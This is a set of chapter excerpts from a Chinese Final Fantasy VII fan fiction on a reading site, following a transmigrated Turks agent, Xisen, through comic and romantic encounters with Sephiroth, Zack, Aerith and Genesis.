《[FF7]死去的前男友突然开始攻击我》 1. 第 1 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 今天是希森来到这个世界的第五年,她在回米德加的路上特意买了一个小蛋糕庆祝。不需要自己多有出息,还有气息就已经很了不起了。 就像无数小说里写的俗套剧情一样,她在五年前一个普通的日子里穿越了,成为了米德加贫民窟的孤儿。她和其他孩子一起被名为塔克斯的机构带走,接受所谓的“专业英才特殊教育”,为了活下去她别无选择,只能从跑完八百米都要躺一整天的脆弱打工人变成能从直升机上面不改色地跳到目标车顶的塔克斯。 好在塔克斯在待遇方面相当人性化,包吃包住薪酬稳定,可以报销工伤,甚至还有固定的假期,已经打败了她原来那个世界百分之九十九的企业。最大的缺点就是工作风险比较大,殉职的概率很高。 这是一个科技和魔法并存的星球,商业巨头神罗公司通过开采魔晄能源获得了巨大利润,从而逐渐掌控和垄断了这个世界。而她所在的塔克斯组织又被称为神罗总务部调查科,表面上的工作是情报收集和人才选拔,实际上是为公司处理一切见不得光的事。用希森原来那个世界的话来说就是特工组织,还是不太正义的那种。 小时候想要成为詹姆斯·邦德的梦想以奇怪的方式实现了。 希森提着蛋糕回到集合点,塔克斯的直升机已经在原地等待。她在心里默默祈祷今晚不要再出什么意外,她已经连续加了三个月的班,只想马上回去开始自己被一拖再拖的假期。 然后下一秒直升机就在她面前爆炸了。 希森沉默了。懂了,她今天印堂发黑。 耀眼的火光点亮了夜幕,榴弹的轰鸣震耳欲聋,坚硬的机身在滚烫的热浪中断裂。她听到了自己心碎的声音,她美好的假期就这么和直升机一起裂开了。 反神罗组织“雪崩”的武装直升机从头顶飞过,对剩余的幸存者穷追不舍。希森来不及为她死去的假期哀悼,立刻侧身翻滚躲开一连串子弹,往离自己最近的一座建筑逃去,利用地形和掩体避开对方的攻击。敌人不断逼近,螺旋桨卷起的狂风撕开浓烟,密集的子弹好几次擦着她的发丝飞过,碎石和玻璃在她身上割开细而密的伤口。 但人会疲劳,直升机却不会。在持续的高强度追击下,希森逃跑的速度逐渐变慢,好几次和死神擦肩而过。塔克斯本质上只是接受过特殊训练的普通人,并没有特种兵强大的体能和恢复能力,子弹离她越来越近,甚至能闻到火药的气味,她知道自己今天大概是要光荣殉职了。 超负荷的身体即将达到极限,前面的建筑早已被炸平,她无路可逃。死亡好像也没有那么难以接受,毕竟她本来就不是这个世界的人,也没什么太大的遗憾。只是希望维尔德能看在她为组织打工这么多年的份上,给她找块风水宝地埋了。 眼前的景象已经开始模糊,希森回过头,然而想象中的痛苦却并没有到来。弯月般的银色光芒一闪而过,时间仿佛在这一瞬间凝固,她还没反应过来发生了什么事情,雪崩的直升机中间就出现了一条奇怪的线。 她甚至忘记了逃跑,费解地看着这奇怪的一幕,好一会儿才反应过来那不是什么线,而是直升机被某种强大的力量一分为二。钢铁铸就的机舱像豆腐一样被平滑地切成两半,悄无声息地从空中滑落,之后是重物坠地的巨响。整个过程还不到一分钟。 能在几百米开外把直升机一刀斩成两半,这个世界上拥有这种压倒性力量的只有一个人。 “有没有受伤?” 希森一时间没有反应过来,条件反射地后退了两步。不远处有什么东西静静地躺在灰烬里,鲜艳又精致的礼盒在一片废墟中格格不入——那是她买的蛋糕,被榴弹的气浪掀飞了,只剩下一团焦黑的物质和半个包装盒,当然是不能吃了。 一只手搭上了她的肩膀,顺势温和地把她往后轻轻一带。银发的1st特种兵走上前,挡在她和爆炸的直升机之间,极具压迫感的高大的身影微微侧过头,又重复了一遍,“小心。” 这个世界上没有人会不认识萨菲罗斯,万众敬仰的大英雄。神罗的宣传铺天盖地,无孔不入,把标志性的银色长发和太刀印在每个人的脑子里,就连塔克斯的英才教育也不忘灌输他的英雄事迹。不过希森觉得就算没有神罗的大力宣传,萨菲罗斯这张伟大的脸也能让任何一个见过他的人终生难忘。 “……我没事。”刚刚经历完剧烈运动的身体几乎喘不上气,希森好不容易才拼凑出一句完整的话,“谢谢。” 银发特种兵的身高将近两米,希森必须微微仰起头才能直视对方。她第一次这么近距离地观察这双碧绿的竖瞳,浸泡过魔晄的眼睛流淌着绮丽的色泽,仿佛某种大型猫科动物,优雅、美丽而又危险。 那可是萨菲罗斯哎,她听见自己心底有个欢快的声音在说。 萨菲罗斯微微颔首,很快移开了目光。希森看着满地的残骸陷入了沉思,她唯一的交通工具已经光荣牺牲,现在的问题是今晚要怎么赶回去。萨菲罗斯是全年无休的神罗劳模,大多数情况下完成任务就会径自离开,刚才的关心也只是出于礼貌。她不敢冒着被正宗串起来的风险麻烦对方送她回去,站在原地想了一会儿,还是选择打开通讯器联系总部。 “如果你不介意的话,可以和我们的车队一起回米德加。”萨菲罗斯的声音突然响起。 希森眨了眨眼,她还以为对方已经走了。“会不会影响到你们执行任务?我可以等总部的支援。” “我们顺路。”银发的特种兵神色平静,“敌人已经发现你的位置,继续留在这里也不安全。” 虽然是征询意见的措辞,但从萨菲罗斯口中说出来更像是委婉的命令,希森把通讯器里打好的字又删除了。看来塔克 2. 第 2 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 银发的特种兵转过身,低沉的声音里听不出任何情绪。他走路的时候也很像猫,优雅且悄无声息,体型的差距让其他人在一般情况下必须小跑着才能赶上他的步伐。但现在他刻意放缓了自己的脚步,始终和身旁的人保持着相同的速度。 两人几乎是并排走回去的。神罗为1st特种兵配备的是最高防护级别的装甲车,尽管在密闭的车厢里,其他士兵还是为身披银白肩甲的身影让出一片足够大的空间。 没有人敢坐在萨菲罗斯旁边,所以其他地方都被坐满了。离他最近的一名黑发特种兵甚至特意挪远了身子,然后递给她一个充满鼓励的眼神。 希森看了一眼两米长的正宗,用眼神对此表示谴责:我们塔克斯的命就不是命了吗? 萨菲罗斯微微偏过了头,银白的长发像月色一样洒落,她马上收回目光,小心翼翼地坐在仅有的空位上。银发的特种兵靠在车厢上闭目养神,像一座完美的大理石雕塑,带着某种非人的优雅。 返程的时间过得很快,大概是担心打扰到萨菲罗斯,车厢里寂静无声。希森逐一回复了西斯内和雷诺几人发来的问候信息,再次抬起头时车子已经驶入了米德加。 萨菲罗斯很忙,车子还没停稳就已经有不下三个部门的人在神罗大厦的门口等着他。希森连向他正式道别的机会都没有,只能在人群之外向他挥手告别。 银发特种兵本来在和身旁的人交流,像是注意到了她的动作一样忽然抬起头。 希森朝他露出一个灿烂的微笑:“下次再见。” 萨菲罗斯微微颔首。他的嘴唇动了动,似乎在说——再会。 希森回到总部的时候已经是深夜,或许是考虑到她刚刚死里逃生,维尔德这次终于大发慈悲的批准了她的假期。她躺在床上翻来覆去地看着那颗冰冷翠绿的圆球,本来疲惫的身心都已经被魔晶石治愈,现在反而睡不着觉了。 银发特种兵的身影总是在脑海里挥之不去,她打开平板搜索萨菲罗斯的资料,塔克斯系统里的情报很简单——银发的1st特种兵从小在科学部门的实验室长大,十二岁被送上战场,此后一直辗转于各个战区,因为压倒性的实力而成为世界闻名的神罗英雄。 神罗很显然完全不在乎青少年的心理健康。希森觉得萨菲罗斯在这种情况下不仅没有长歪,还能成为现在这样德智体美劳全面发展的五好青年,简直就是一个奇迹。 她想起雷诺和萨菲罗斯一起执行过几次任务,于是从手机里翻出他的账号:你知道萨菲罗斯为什么是在实验室里长大的吗?他平时是个怎么样的人? 这个时间点大部分人都在休息,希森也没有指望能够得到回复。但过了一会儿屏幕开始疯狂闪烁,雷诺不仅回了信息,还拉了一个叫“相亲相爱塔克斯”的群聊。 雷诺:没想到你喜欢这种类型的,虽然难度有点高,但也不是不行。来,让大伙一起帮你出谋划策一下。 希森:? 鲁德:谁? 西斯内:萨菲罗斯? 散弹枪:大半夜的你们都不睡觉的吗? 希森:等一下,我什么都没说。 散弹枪:我听特种兵说有个很大胆的塔克斯白嫖了萨菲罗斯的魔晶石,该不会是希森吧? 鲁德:塔克斯风评被害。 雷诺:所以你和萨菲罗斯是什么关系?之前认识吗? 希森:??? 希森:我和他是亲子关系,萨菲罗斯救了我还送我魔晶石,他就是我的再生父母。我只想了解一下我的救命恩人,你们在想什么? 雷诺:? 鲁德:我也想要魔晶石。 散弹枪:这是重点吗…… 西斯内:所以我们这是要帮希森收集萨菲罗斯的情报【笑脸】 希森:这听起来感觉我像是什么变态……我错了,对不起,大家当我没问过可以吗? 雷诺:别客气,我们都懂【笑脸】 西斯内:把群聊名称改成了“塔克斯互助小组” 希森放弃了,她发现这些人完全就是乐在其中。群聊话题从萨菲罗斯转到曾用什么洗发水,再到“路法斯到底有多少件一模一样的白色外套”,满屏幕的信息非常催眠,她不知不觉就睡到了第二天中午。 接下来这几天里她都在神罗的图书馆里研究各个种类的魔晶石,这是古代种赛特拉留下来的技术,能够把魔力储存在水晶球体当中。但所有资料都表示目前已有的治愈系魔晶石不会直接对精神产生影响,并没有出现过她这样的例子。 希森不敢向其他人求助,她本身是个穿越者,如果被神罗发现自己身上的异常,结局只会是成为科学部门的实验品,她只能想办法再找其他魔晶石进行试验。就目前来看这种情况对她是有利的,她并没有太担心。塔克斯的薪酬待遇还不错,她还是有能力买到一些质量不错的魔晶石。 西斯内听说她天天往图书馆跑之后,似乎产生了什么奇怪的误会:“如果实在忍不住的话,我推荐你一个好地方。虽然脸和身材可能比不上特种兵,但类似的也有不少。” 她脸上带着“你明白我在说什么吧”的那种迷之微笑:“你知道蜜蜂之馆吧?” “……我不知道。” 希森眼皮一跳,拿出手机搜索了一下,马上就看到了满屏幕身穿各种制服的“HONEY BEE”。不得不说最受欢迎的几个头牌确实很有实力,身材和脸都很不错,简介里说加钱还能进行角色扮演。 西斯内挽住她的手,笑得意味深长:“怎么样?人生只有一次,总要活得精彩一点 3. 第 3 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 “我们明白——啊?什么?”扎克斯瞬间瞪大了眼睛,满脸难以置信,“真的吗?” “你现在回去也会被发现,不如在外面待到明天早上。”希森刷卡打开车库大门,“你没有逃跑是正确的选择,今晚雷诺在那边值班,那几个人估计已经在受罚了。当然,如果你不愿意的话就算了。” 送佛送到西,帮人帮到底。况且她本来就是要去兜风的,多个伴更热闹。 “我就知道你最好了!”扎克斯似乎想扑上来给她一个拥抱,但是又忍住了,“你会开机车吗?你也喜欢开机车吗?” “开车的感觉很解压。”而且真的很帅,高速飞驰能让她短暂地摆脱所有束缚和烦恼。希森在原来的世界里没有接触机车的机会,也买不起,来到这个世界反而圆梦了。 “用部队的车会被发现,你在我的车库里挑吧,性能都是一样的。” “谢谢!”扎克斯再三确认了自己没有听错,很认真地道谢,“我挑哪一辆都可以吗?那你自己呢?” “我都行。”希森忍住摸对方头发的冲动,他真的太像一只活泼的边牧了。 深夜的高速公路空无一人,他们两个可以尽情地把车速拉到最高,短暂地享受真正的自由。扎克斯有着这个年龄的少年该有的天性和热情,非要拉着希森比赛谁先到达收费站,没能分出胜负后又要比谁先回到基地。 希森实在是拒绝不了这个兴奋的少年,于是提出谁最后到谁就要穿女装,于是他吓得立刻以最快速度冲了回去。她在后面悠闲快乐地兜风,一边计划退休后自己开车环游世界,她了解过东大陆那边有一个风俗和语言都很接近自己故乡的地方,打算最后就在那里定居养老。 基地越来越近,前方的扎克斯却像看到什么了一样猛然来了一个急刹车,车轮与柏油路摩擦溅起点点星火。 “怎么了?”希森追上对方。在看清道路尽头的景象后她瞬间明白了他们的反应,恨不得立刻掉头以最快速度逃走。 但是她忍住了,因为她觉得自己跑不过两米长的太刀。 银发的1st特种兵矗立在高速公路中央,随风扬起的长发如同倾泻的月色。近乎两米的高大身影即便在夜色中也带有极强的存在感和压迫感,仿佛蛰伏已久的大型狩猎者,等待猎物自投罗网。 萨菲罗斯脸上没有表情,看不出任何情绪。希森摘下头盔的那一刻,碧绿的竖瞳停留在她身上,有些意外地微微眯起。 她半夜开自己的车出来又不违法,最多是带了一个未成年人,至于派萨菲罗斯过来吗?希森在内心无声地呐喊,她是不是要被被正宗串起来了,这种事情不要啊! 在令人窒息的沉默里,扎克斯抢先一步开口了:“是我自己跑出来的,和希森没有关系,我们知道错了。” 希森很感动,如果扎克斯不要提到她的名字,她会更感动的。时隔一个月,她还指望萨菲罗斯已经完全不记得她这号人物了,好让她蒙混过去。 但萨菲罗斯很显然不是这么好糊弄的,低沉的声音听不出情绪:“车子是谁的?” 扎克斯还想开口,但是希森觉得这种情况下她还是主动认罪比较好。她有种上学时期翻墙逃课出去被教导主任抓住的感觉,老老实实地交代了:“车是我借他的。” 银发的特种兵没有回答。萨菲罗斯的目光扫过他们两个,最后停留在扎克斯身上:“安吉尔听其他人说你没有回来,担心你出了什么事。” 所以他原来是来找扎克斯的,希森悄悄松了一口气。扎克斯抬起头,又马上垂下去,在萨菲罗斯面前所有人都只能老实认错:“对不起,我这就回去。不过这件事真的和希森没有——” “把车还回去,然后去训练室集合。”萨菲罗斯转过身,银白的长发垂落在腰后,随着他走路的动作轻轻摇晃。 虽然知道塔克斯不归特种兵管,但萨菲罗斯的身份和实力放在这里,不管是谁都不敢悖逆他。希森莫名地心虚,三个人一路沉默地回到车库,感觉不是去停车而是要上断头台。 扎克斯不断用眼神向她道歉,希森很想告诉他没关系,但这种氛围里她也不敢开口,只能同样用眼神表示安慰。两个人眉来眼去大概太明显了,萨菲罗斯侧过头,黑发的少年特种兵不敢再停留,连忙小跑着回去接受惩罚。 她锁上车库的门,回过头却发现萨菲罗斯没有和扎克斯一起离开。银发的特种兵静静地站在门口,附近没有其他人,所以很明显是在等她。 希森有些摸不准他的意思,但是想到刚才他没有理会自己,也没有接受扎克斯的求情,那大概是不太高兴吧?她深吸了一口气,果断地认错:“对不起,我这就回去总部自首认错,以后再也不会带未成年人飙车了。” 她的计划是先想办法蒙混过关,她还处于休假期间,就算总部知道了这件事也不会管。 “是么?”萨菲罗斯不置可否,“这好像不是回总部的方向吧。” 希森:……啊被发现了呢。 听起来这是不打算放过她了,上次明明就很好相处的,怎么会这样。这种事情被雷诺知道了肯定会嘲笑她一辈子。 希森终于体会到什么叫汗流浃背了,她视死如归地抬起头,却发现萨菲罗斯唇角扬起一抹不易察觉的弧度。她以为自己看错了,愣了一下,却发现对方真的在笑,虽然不明显。那双碧绿的竖瞳看向她,萨菲罗斯笑起来的时候眼中仿佛有星河流淌。 所以他是在跟自己开玩笑。希森后知后觉,希森大为震撼,希森解锁了新世界。 “凌晨三点带着特种兵在高速公路飙车,”萨菲罗斯的声音里带着几分笑意,“这也是塔克斯的日常工作吗?” “我现在还在休假,”希森努力解释——或者说狡辩 4. 第 4 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 希森和那双澄澈的绿色眼睛对视了一瞬,决定主动开口:“别担心,爱丽丝。我不是来带你走的,我只是想帮忙。” “谢谢你,但是……”爱丽丝犹豫了一下,“我等下自己回去就可以,还是不用麻烦你了。” “那么,至少让我接你下来吧,我必须保证你的安全才能离开。”希森张开双手,朝她微笑,“别害怕,我会接住你的。” “真的吗?”爱丽丝有些担忧地看着她,绿色的眼眸里倒映出落日的余晖,“虽然我不是很重,但是也不轻哦。” “真的,虽然没有特种兵厉害,但我们也是从小就接受训练的。” “那就麻烦你了——我要跳了!” 褐发的少女深吸了一口气,闭着眼睛纵身跃下,如同童话里描绘的精灵一样轻盈又灵动。希森调整好位置稳稳地接住了她,少女条件反射地双手环住她的脖子 ,柔顺的卷发轻轻扫过,卷起一阵淡淡的花香。 “接住啦,”希森低下头,“爱丽丝很轻哦。” 怀里的少女似乎还没有反应过来,睁开宝石般的绿色眼眸愣愣地看着她,环抱着她的双手也在无意识地收紧。希森有些担心:“爱丽丝?” “怎么会……我听见了……”少女突然回过神,“欸?” “你还好吗?是不是那里碰到了?”希森小心翼翼地放下她,连忙检查对方有没有受伤。 “啊,不是的,对不起。”爱丽丝眨了眨眼,露出了她见过的有史以来最可爱的笑容,“谢谢你,你好厉害——‘唰’的一下子就接住我了,真的太帅了!” 希森第一次那么感谢塔克斯的特训,为了这么治愈的笑容,之前受的苦全部都值了。 “没关系。早点回去吧,雪崩的成员有可能会再回来。” 爱丽丝动作自然地挽住她的手,明明两个人是第一次见面,但是她亲密的行为却不会让人感到不适。 “真的很抱歉,刚才误会你了。作为答谢和赔礼,可以邀请你去我家喝一杯茶吗?” 希森犹豫了一下,她听说爱丽丝的养母并不欢迎神罗的人,自己也不想打扰到她们。“答谢和赔礼就不需要了,我不太方便——” 爱丽丝歪了歪头,露出狡黠的笑容:“那么,我拜托希森护送我回家可以吗?你刚刚可是说了要保证我的安全哦。” 没有得到回答,她又带着期待和恳请的目光又问了一遍:“可以吧?” “……好吧。”希森叹了口气,她发现自己对爱丽丝毫无抵抗力。 与其说她护送爱丽丝回家,还不如说是爱丽丝拉着她回家,拥有无限活力的少女一路上都在向她介绍途经的事物,那些废弃的角落到了少女口中就变成了各种的风景。她还没找到机会插嘴,爱丽丝就顺其自然地把她拉进了自己的家里。 “妈妈,我回来啦。”少女一进门就说,“我带了新的朋友回家。” 爱丽丝的养母艾米娜看着希森身上塔克斯标志性的黑西装,脸上的神情仿佛在说“请你立刻离开我的房子”。但是爱丽丝抢在她面前开口:“这位是希森,今天多亏她救了我,我想要好好感谢她。” “爱丽丝,她是个塔克斯。”艾米娜的声音饱含着不赞成和警告,“晚饭前她必须离开。” “知道啦,妈妈。”爱丽丝回过头,“我有些事情想和你说,跟我来吧。” 希森觉得这个时候自己应该闭嘴,于是她任由对方拉着自己来到了房子的后院。推开老式栅栏,映入眼帘的是一片金色的花海,在夜色中宛如一片摇曳的星河。爱丽丝在庭院里种满了金色的百合花,木条铺就的小路顺着鲜花一直蔓延到山坡上,把这里从一个无人问津的角落变成一个芬芳的天堂。 由于工业的污染,鲜花根本无法在米德加自然生长,希森还是第一次在这个世界看见真正的花。她想起了爱丽丝身上淡淡的花香,和金百合的香气一模一样。 “黄花的花语,”爱丽丝朝她绽开一个灿烂的笑容,“是‘重逢’哦。” 爱丽丝看向她的眼神和初次见面时完全不一样,就像是在看一个认识了很久的朋友,希森差点以为她以前见过自己。但褐发的少女只是转过身,摘下一捧盛放的百合花,笑吟吟地看着她。 “作为答谢和赔礼,请你收下这个吧。” “谢谢。” 希森小心翼翼地接过花束。这她想起了自己的故乡,那个世界里也有黄色的百合花,和眼前的金色百合非常像,就连花香也几乎一样。 ——确实是“重逢”。 “好漂亮啊,我好久没见过真正的花了。” 爱丽丝看起来对这个回答感到非常开心,她拉着希森来到小山坡上,两个人一起坐在柔软的花丛里。少女的声音非常温柔:“这些百合花是会说话的哦,我能听见。” 考虑到这是一个有魔法的世界,爱丽丝又是古代种赛特拉,希森脑海里顿时浮现出了《爱丽丝梦游仙境》里那些会说话的花。于是她认真地问:“那它们一般会说什么呢?” “我还不能听清楚,每次都感觉只差一点点就能听到了。”爱丽丝和她靠在一起,“但是遇到你之后,我觉得我离那道声音更近了。” 希森有些摸不准她的意思,一时间不知道该怎么回答。不过爱丽丝很快又笑了起来,继续说:“好啦,还是不说这些了。你听起来一定感觉很奇怪吧?忘掉就好。” “一点都不奇怪。”希森摇了摇头,她都能从另一个世界穿越过来,爱丽丝能听见花说话又有什么好奇怪的。 爱丽丝俏皮地眨了眨眼:“我又找了一个新的地方种花,有空的话你一定要来看看哦,我保证会有惊喜的。” 希森也忍不住笑了起来:“这是约定吗?” “嗯,是约定。”少女点点头,“我们约好了哦!” 结束休假之后希森的行程突然变得很满,除了塔克斯 5. 第 5 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 希森一时间不知道应该觉得生气还是应该觉得好笑,这种事情早点说出来不就好了。“所以,你是担心朋友才急着去前线。” 红发的特种兵没有回答。她叹了口气:“给我一颗魔晶石我就送你过去。” “……为什么是魔晶石?”杰内西斯的脸上写满了不解。 “因为我喜欢收集魔晶石。”希森随便编了个理由,“就当是我的加班费了。” 杰内西斯没有多问,随手抛给她一颗红色的魔晶石。1st特种兵的权限比其他人要高很多,不知道他找了什么人,朱农港的军事基地真的给他们找来了一架直升机,甚至没有过问理由。 前线的战火点亮了夜幕,希森在战场后方一个比较安全的基地降落。杰内西斯又扔给她一颗蓝色的魔晶石,转身直接跳下直升机。 “你就在这里待着等我们回来,别一个人乱跑。”红发的1st头也不回,“要是遇到敌人就用魔石。” 希森接过冰凉的水晶球体,忍不住怀疑送人魔晶石是不是什么1st特有的风俗吗。 走了几步,杰内西斯又回过头:“对了,别告诉安吉尔是我让你送我来的。” 正所谓吃人嘴软拿人手短,希森向他挥了挥手,表示自己知道了。不久之后又有一架直升机在靠近前线的地方降落,虽然离得很远,但希森还是一眼认出来那一抹耀眼的银发。 萨菲罗斯的身影很快消失在硝烟中。随着1st特种兵的加入,神罗很快便重新控制了战场——或者说是碾压更准确。五台的军队以肉眼可见的速度败退,连隐藏的军事基地都被一刀扫平了。这场战争只持续了一天就以压倒性的胜利结束,成为神罗宣传的新材料。 在这个时代里,1st特种兵是所有士兵心目中的偶像和信仰,能看到英雄本人的机会并不多,更何况还是一次能看到三个。基地里还活着的人蜂拥着赶去门口迎接凯旋归来的特种兵,就连伤员也拄着拐杖往外跑。 本来只想看个热闹的希森被激动的人群裹挟着前进,她试图从缝隙里挤出去,但浸泡过魔晄的特种兵对普通人来说像钢铁一样坚固。有几名少年注意到她后很显然产生了什么误会,非常热情地把她往前推,这下她想走都走不掉了。 传说中的1st一个都没看到,反而被人群转的头晕眼花,希森已经彻底分不清自己在哪里了,只能挣扎着往外走。但身旁的人突然开始散开,躲闪不及的她被某个特种兵撞了一下,瞬间失去平衡。 一只有力的手扶住了她的肩膀,对方把她往自己的方向带了一下,几乎是把她护在怀里。希森下意识地抬起头,只看见如月色般垂落的银色发丝。 “你们在干什么?”萨菲罗斯语调平静,声音里却带着无法忽视的冰冷。 银发的1st特种兵带有一种天然的压迫感,只需要一句话,原本喧闹的人群瞬间安静下来。年轻的特种兵们笔直地站在原地,神情像是要再次上战场一样严肃。 “好了,都回去休息吧。” 安吉尔及时打破了令人窒息的寂静,凝固在原地的人群像得到了赦免一样飞快地散开。有些胆大的特种兵还想留着远处观望,很快又被伙伴拉走。 “有没有受伤?”萨菲罗斯低下头,碧绿的竖瞳仔细地打量着她。 希森这才反应过来。她摇了摇头,连忙后退一步站稳身子。银发特种兵身上带着淡淡的铁锈味,很显然是刚从前线回来,他并没有像其他特种兵一样穿战术内衬,胸前只用了两条交叉的皮带固定外套。她好不容易才克制住自己不往某个部位看。 萨菲罗斯放下手,又问:“你怎么会在这里?” 完了。 这下希森沉默了,她不能直接说是因为杰内西斯的请求,但是眼下这种情况又没办法不回答。所以为什么每次遇到萨菲罗斯都是这种尴尬的情况,她真的会崩溃。 希森满头大汗,希森汗流浃背。但是安吉尔很显然已经从她的沉默里猜出到事情的真相,他转向靠在门边看诗集的红发特种兵:“杰内西斯,你让她一个人送你来前线?” 杰内西斯合上书:“首先,她不是普通人,是个塔克斯。其次,我只是让她帮忙开直升机,因为我们的驾驶员受伤了。” 萨菲罗斯移开目光:“她不是特种兵,待在前线附近很危险。” “这不是有你在吗?能出什么事。” 希森觉得杰内西斯人挺好的,可惜长了一张嘴,活这么久没被打真的是个奇迹——当然也有可能只是大部分人都打不过他。她偷偷看了萨菲罗斯一眼,银发的特种兵面无表情,看不出任何情绪。 “杰内西斯,”安吉尔的声音里带着无奈的警告,“你不能把无关的人带到战场上,还把对方随便扔在基地里。” 战场上的硝烟还未完全消散,空气中时不时传来淡淡的火药味。虽然很想解释一下这里面的误会,但希森觉得这个时候自己更应该安静地消失,她不动声色地往萨菲罗斯身后挪过去,恨不得躲进对方的影子里。 杰内西斯举起手,一副认输的神态:“好了,我知道了,我投降。” 气氛终于缓和下来,希森小心翼翼地探出头:“不好意思给你们添麻烦了,那个,如果没什么事的话我就先——” “走”字还没来得及说出口,她就对上了一双碧绿的竖瞳。萨菲罗斯平静地看着她,侧了侧头:“你打算去哪里?” “……开直升机回去?”希森试探性地说。 “战场还没彻底打扫干净,如果后方还有残余的敌人,直升机很容易成为攻击目标。所以,”萨菲罗斯语调温和,“我们送你回去。” 特种兵返回米德加乘坐的是列车,去往车站的一路上萨菲罗斯都不紧不慢地走在希森旁边,就像担心她会半路逃跑一样。她跟着三名特种兵进入车厢后才注意到这里面被改造成了一个舒适的休息室,这里没有其他人,很显然是1st专属的车厢。 安吉尔就像一个用心良苦的老父亲,带着一个大的两个小的,随时准备调解 6. 第 6 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 这个时间点的站台几乎没有人,所以希森一下车就能看到等在出口处的曾和西斯内。塔克斯和特种兵同时停下了脚步,她看着一脸严肃的安吉尔和曾,突然有种双方家长准备商量如何给闯祸的小孩收拾烂摊子的感觉。 而那两个小孩自然就是她和杰内西斯。 “抱歉,这次的事是我们疏忽,不应该私自将希森卷入战场。”安吉尔一把按住想要离开的杰内西斯,“下次不会再发生这样的事情。” “很抱歉给你们造成困扰。”曾冷静地抓住希森的衣领,把想要偷偷溜走的她拉回来,“这次是她做事太冒险,感谢你们的照顾。” 两个部门礼貌地告别后把各自的成员领走了,希森都没来得及和萨菲罗斯正式告别。曾没好气地看了她一眼:“你和杰内西斯真是一个敢问,一个敢应。” “我错了。我是因为知道1st特种兵全部都会到场才敢答应他的。”希森心虚地狡辩,声音越来越小,“而且杰内西斯给了我两颗魔石。” “才两颗?”西斯内叹了口气,有些恨铁不成钢地看着她,“你拿少了,请我们做事可不止要这点魔石,还好你没有受伤。” 希森老老实实认错:“对不起,我这就回去写报告和检讨。” 曾丝毫不为所动:“一万字,请你详细解释一下错在哪里。” 希森:“……”主任你能不能学学隔壁的萨菲罗斯,善良温柔还会给她放水,她现在去泡魔晄加入特种兵还来得及吗。 “西斯内妈咪,”她虚弱地求助,“救救孩子。” 西斯内叹了口气。一分钟之后,希森的手机响了,“塔克斯互助小组”弹出新消息—— 西斯内:@全员 #拯救希森,众筹一万字检讨。# 希森众筹完成的检讨最终获得了曾一个“你可以圆滑地离开了”的眼神。她和雷诺一起离开神罗大厦的时候经过了一架刚刚降落的直升机,银发特种兵头神情冷淡地走出机舱,正宗刀刃上沾染的鲜血甚至还没干透。萨菲罗斯看起来不像是刚回到神罗,而是准备去攻打神罗,周围的特种兵和塔克斯都很识相地和他保持着一定距离。 “这段时间最好不要惹他。”雷诺低声说,“他心情不太好。” 希森看着萨菲罗斯头也不回地消失在大门后:“看出来了,有人得罪他了吗?” “特种兵每个季度都要去科学部门进行体检,每到这个时候萨菲罗斯的心情就不太好。”雷诺的声音又恢复了平时的懒散,“他以前就是在宝条的实验室里长大的,跟那个脾气古怪的家伙很不对付。话说回来——我们这次的任务也是收拾那家伙的烂摊子。” 科学部的实验室里有一个新项目实验体因意外出逃,在圆盘上层的喷泉广场造成了不少混乱。这本来是特种兵的工作,但是宝条特意要求活捉目标,于是掩盖真相和控制场面就成为了塔克斯的工作。 这种不干净的任务在塔克斯是常态。表面听起来很刺激,实际上绝大部分时间都在进行枯燥烦闷的追查,还要承受不小的心理负担。 第八区的喷泉广场已经陷入到一片混乱当中。怪异扭曲的实验体仿佛由多个不同物种融合而成,已经完全看不出本来的面目,只能依稀认出背后某个类似单翼的组织。它不但具有很强的攻击性,似乎还具备一定的智力,当察觉到自己被特种兵和包围的时候果断把目标转向了正在疏散的平民。 “啧,宝条的审美可真够特别。”雷诺放下枪,转向一旁的3rd特种兵,“你们的麻醉弹呢?” 年轻的特种兵摇了摇头:“已经用完了,对它根本不起作用。” 总部支援的直升机还没到,但暴怒的实验体已经追上了毫无反抗力的人群。希森很清楚神罗不会负责受害者的医药费,只会让他们永远闭嘴,她做不到用这么多无辜者的命为宝条的非法实验买单。 “那就换普通子弹,先救人再说。” 那名3rd迟疑了一下:“可是上面命令——” “尽量瞄准四肢打,这种实验体没那么容易死。”希森拍了拍他的肩膀,“特种兵的职责是保护他人,怎么给宝条交代是我们的事。” 这个年纪的特种兵大部分都受到了神罗英雄宣传的影响,正处于热血沸腾的时期,马上就被说服了。子弹打穿实验体扭曲的触手和肢体,有效地减慢了它前进的速度。希森和雷诺分别从两侧包围过去,把它和人群隔绝开来,配合特种兵一起把实验体逼进了街道的尽头。 雷诺躲开一根被撞倒的路灯,脸色一变:“希森!在你身后——” 希森顺着他的目光望去,已经彻底失去理智的实验体正迎着子弹扑向一个来不及逃走的女孩。来不及思考,她从储物魔石里抽出长剑,多年的训练让她几乎是条件反射般地侧翻借力闪身挡在女孩面前,抢先一步斩断了那只扭曲的利爪。 整齐断掉的肢体溅出滚烫的绿色鲜血,实验体发出痛苦而愤怒的哀嚎。头顶传来直升机的轰鸣声,希森还没反应过来便被冲上前的雷诺扑倒在一侧,下一秒从天而降的捕捉网就把实验体死死地钉在原地。 鲁德从直升机的软梯上跳下来,一眼就看见躺在地上的两人:“我来晚了吗?” “你再来晚一点这个实验体就死定了,希望宝条别介意他的宝贝实验体少了一只手。” 雷诺的说法还是委婉了,实验体浑身上下都是弹孔,背后的翅膀状组织也几乎被打断,已经可以用奄奄一息来形容。希森默默地把实验体的断手捡起来放了回去,心想宝条说要活的,又没说要完整的,还有一口气那也叫活着。 事实证明宝条相当介意,在实验体被送回去的下一秒他就大发雷霆,一边让其他人都滚 7. 第 7 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 为什么浸泡魔晄的时间刚好在现在结束,为什么萨菲罗斯刚好在这个时候醒来,为什么宝条会让她进入这种地方,为什么没有人说话? 希森觉得自己这辈子的表情管理都用在这一刻上面了,她用尽全力才能勉强维持镇定的神色。 这是正常的体检流程,唯一不正常的事情就是她意外出现在这里。萨菲罗斯的反应也很冷静,如果她对此大惊小怪的话在这个情况下反而会显得很不尊重对方,也容易产生什么不必要的误会。没错,她冷静地想,这不过是个小意外,这就好比在博物馆看到大卫雕像,没有人会对艺术品产生非分之想,这是一种亵渎,她应该用一种坦然的、神圣的态度去面对眼前的景象。 